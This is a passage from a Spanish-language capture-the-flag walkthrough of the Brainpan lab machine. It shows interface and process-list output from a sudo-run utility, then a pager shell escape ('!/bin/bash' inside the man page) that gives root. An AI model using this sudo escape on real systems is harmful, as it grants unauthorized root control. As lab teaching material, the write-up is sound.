    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN qlen 1000
    link/ether 08:00:27:c3:40:1b brd ff:ff:ff:ff:ff:ff
    inet 192.168.88.10/24 brd 192.168.88.255 scope global eth0
    inet6 fe80::a00:27ff:fec3:401b/64 scope link 
       valid_lft forever preferred_lft forever
  • Proclist
puck@brainpan:/home/puck$ sudo /home/anansi/bin/anansi_util proclist

top - 10:15:24 up 15 min,  0 users,  load average: 0.00, 0.00, 0.00
Tasks:  77 total,   1 running,  76 sleeping,   0 stopped,   0 zombie
%Cpu(s):  0.0 us,  0.1 sy,  0.0 ni, 99.9 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
KiB Mem:    248936 total,   136380 used,   112556 free,    25352 buffers
KiB Swap:   520188 total,        0 used,   520188 free,    77192 cached

  PID USER      PR  NI  VIRT  RES  SHR S  %CPU %MEM    TIME+  COMMAND           
    1 root      20   0  3492 1860 1280 S   0.0  0.7   0:00.24 init              
    2 root      20   0     0    0    0 S   0.0  0.0   0:00.00 kthreadd          
    3 root      20   0     0    0    0 S   0.0  0.0   0:00.03 ksoftirqd/0       
    4 root      20   0     0    0    0 S   0.0  0.0   0:00.00 kworker/0:0       
    6 root      rt   0     0    0    0 S   0.0  0.0   0:00.00 migration/0       
    7 root      rt   0     0    0    0 S   0.0  0.0   0:00.00 watchdog/0        
    8 root       0 -20     0    0    0 S   0.0  0.0   0:00.00 cpuset            
    9 root       0 -20     0    0    0 S   0.0  0.0   0:00.00 khelper           
   10 root      20   0     0    0    0 S   0.0  0.0   0:00.00 kdevtmpfs         
   11 root       0 -20     0    0    0 S   0.0  0.0   0:00.00 netns             
   12 root      20   0     0    0    0 S   0.0  0.0   0:00.00 sync_supers       
   13 root      20   0     0    0    0 S   0.0  0.0   0:00.00 bdi-default       
   14 root       0 -20     0    0    0 S   0.0  0.0   0:00.00 kintegrityd       
   15 root       0 -20     0    0    0 S   0.0  0.0   0:00.00 kblockd           
   16 root       0 -20     0    0    0 S   0.0  0.0   0:00.00 ata_sff           
   17 root      20   0     0    0    0 S   0.0  0.0   0:00.00 khubd             
   18 root       0 -20     0    0    0 S   0.0  0.0   0:00.00 md       
  • Manual

Muestra el manual de un comando

sudo /home/anansi/bin/anansi_util manual /bin/bash

El manual que muestra parece que es el mismo que man, así que si ponemos lo siguiente dentro del manual, nos convertimos en root

!/bin/bash

Máquina resuelta